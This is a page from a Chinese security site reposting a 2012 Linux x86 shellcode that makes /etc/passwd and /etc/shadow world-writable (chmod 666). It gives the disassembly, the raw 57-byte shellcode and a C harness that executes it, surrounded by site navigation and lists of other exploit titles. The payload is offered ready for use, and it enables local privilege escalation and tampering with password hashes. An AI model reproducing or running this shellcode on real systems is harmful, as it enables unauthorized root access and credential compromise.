首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux x86 chmod 666 /etc/passwd & /etc/shadow - 57 bytes
来源:http://0xffe4.org 作者:Pereira 发布时间:2012-07-26  
/*
Title: Linux x86 chmod 666 /etc/passwd & /etc/shadow - 57 bytes
Author: Jean Pascal Pereira <pereira@secbiz.de>
Web: http://0xffe4.org


Disassembly of section .text:

08048060 <_start>:
8048060:       31 c0                   xor    %eax,%eax
8048062:       66 b9 b6 01             mov    $0x1b6,%cx
8048066:       50                      push   %eax
8048067:       68 73 73 77 64          push   $0x64777373
804806c:       68 2f 2f 70 61          push   $0x61702f2f
8048071:       68 2f 65 74 63          push   $0x6374652f
8048076:       89 e3                   mov    %esp,%ebx
8048078:       b0 0f                   mov    $0xf,%al
804807a:       cd 80                   int    $0x80
804807c:       31 c0                   xor    %eax,%eax
804807e:       50                      push   %eax
804807f:       68 61 64 6f 77          push   $0x776f6461
8048084:       68 2f 2f 73 68          push   $0x68732f2f
8048089:       68 2f 65 74 63          push   $0x6374652f
804808e:       89 e3                   mov    %esp,%ebx
8048090:       b0 0f                   mov    $0xf,%al
8048092:       cd 80                   int    $0x80
8048094:       31 c0                   xor    %eax,%eax
8048096:       40                      inc    %eax
8048097:       cd 80                   int    $0x80



*/

#include <stdio.h>

char shellcode[] = "\x31\xc0\x66\xb9\xb6\x01\x50\x68\x73\x73\x77\x64"
                   "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3"
                   "\xb0\x0f\xcd\x80\x31\xc0\x50\x68\x61\x64\x6f\x77"
                   "\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3"
                   "\xb0\x0f\xcd\x80\x31\xc0\x40\xcd\x80";


int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux x86 execve("/bin/sh") -
·Photodex ProShow Producer 5.0.
·Symantec Web Gateway 5.0.3.18
·BarcodeWiz.dll remote Buffer O
·Zabbix 2.0.1 and Earlier Sessi
·linux/x86 - ASLR deactivation
·CuteFlow 2.11.2 Arbitrary File
·Symantec Web Gateway 5.0.3.18
·Cisco Linksys PlayerPT ActiveX
·AlienVault OSSIM 3.1 Reflected
·Symantec Web Gateway 5.0.2.18
·MyMp3 Player Stack .m3u DEP By
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved